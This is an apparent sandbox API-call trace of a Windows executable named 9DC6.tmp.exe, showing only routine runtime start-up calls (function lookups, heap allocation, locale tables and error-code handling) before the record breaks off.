# Flog Txt Version 1 # Analyzer Version: 3.1.1 # Analyzer Build Date: Jul 31 2019 13:47:23 # Log Creation Date: 24.08.2019 06:31:43.856 Process: id = "1" image_name = "9dc6.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe" page_root = "0x4c8c2000" os_pid = "0x73c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x5b4 [0026.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xa7bc1470, dwHighDateTime=0x1d55a45)) [0026.848] GetCurrentThreadId () returned 0x5b4 [0026.849] GetCurrentProcessId () returned 0x73c [0026.849] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=14713006185) returned 1 [0026.849] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0026.849] GetProcessHeap () returned 0x260000 [0026.850] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0026.851] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0026.852] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0026.853] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0026.853] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0026.853] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0026.853] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0026.853] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3bc) returned 0x271c60 [0026.853] GetCurrentThreadId () returned 0x5b4 [0026.853] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x18) returned 0x270768 [0026.854] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x800) returned 0x272028 [0026.854] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40d87c, hStdOutput=0xca9fe46b, hStdError=0x0)) [0026.854] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0026.854] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0026.854] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0026.854] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" " [0026.854] GetEnvironmentStringsW () returned 0x272830* [0026.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0026.854] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x565) returned 0x273308 [0026.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x273308, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0026.854] FreeEnvironmentStringsW (penv=0x272830) returned 1 [0026.854] GetLastError () returned 0x7f [0026.854] SetLastError (dwErrCode=0x7f) [0026.854] GetLastError () returned 0x7f [0026.854] SetLastError (dwErrCode=0x7f) [0026.854] GetLastError () returned 0x7f [0026.854] SetLastError (dwErrCode=0x7f) [0026.855] GetACP () returned 0x4e4 [0026.855] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x220) returned 0x273878 [0026.855] GetLastError () returned 0x7f [0026.855] SetLastError (dwErrCode=0x7f) [0026.855] IsValidCodePage (CodePage=0x4e4) returned 1 [0026.855] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0026.855] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0026.855] GetLastError () returned 0x7f [0026.855] SetLastError (dwErrCode=0x7f) [0026.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0026.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0026.855] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0026.855] GetLastError () returned 0x7f [0026.855] SetLastError (dwErrCode=0x7f) [0026.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0026.855] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0026.855] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0026.855] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0026.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿëå\x9fÊôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0026.856] GetLastError () returned 0x7f [0026.856] SetLastError (dwErrCode=0x7f) [0026.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0026.856] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0026.856] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0026.856] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0026.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿëå\x9fÊôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0026.856] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x46dd30, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe")) returned 0x32 [0026.856] GetLastError () returned 0x0 [0026.856] SetLastError (dwErrCode=0x0) [0026.856] GetLastError () returned 0x0 [0026.856] SetLastError (dwErrCode=0x0) [0026.856] GetLastError () returned 0x0 [0026.856] SetLastError (dwErrCode=0x0) [0026.856] GetLastError () returned 0x0 [0026.856] SetLastError (dwErrCode=0x0) [0026.856] GetLastError () returned 0x0 [0026.856] SetLastError (dwErrCode=0x0) [0026.856] GetLastError () returned 0x0 [0026.856] SetLastError (dwErrCode=0x0) [0026.856] GetLastError () returned 0x0 [0026.856] SetLastError (dwErrCode=0x0) [0026.856] GetLastError () returned 0x0 [0026.856] SetLastError (dwErrCode=0x0) [0026.856] GetLastError () returned 0x0 [0026.856] SetLastError (dwErrCode=0x0) [0026.856] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.857] SetLastError (dwErrCode=0x0) [0026.857] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] 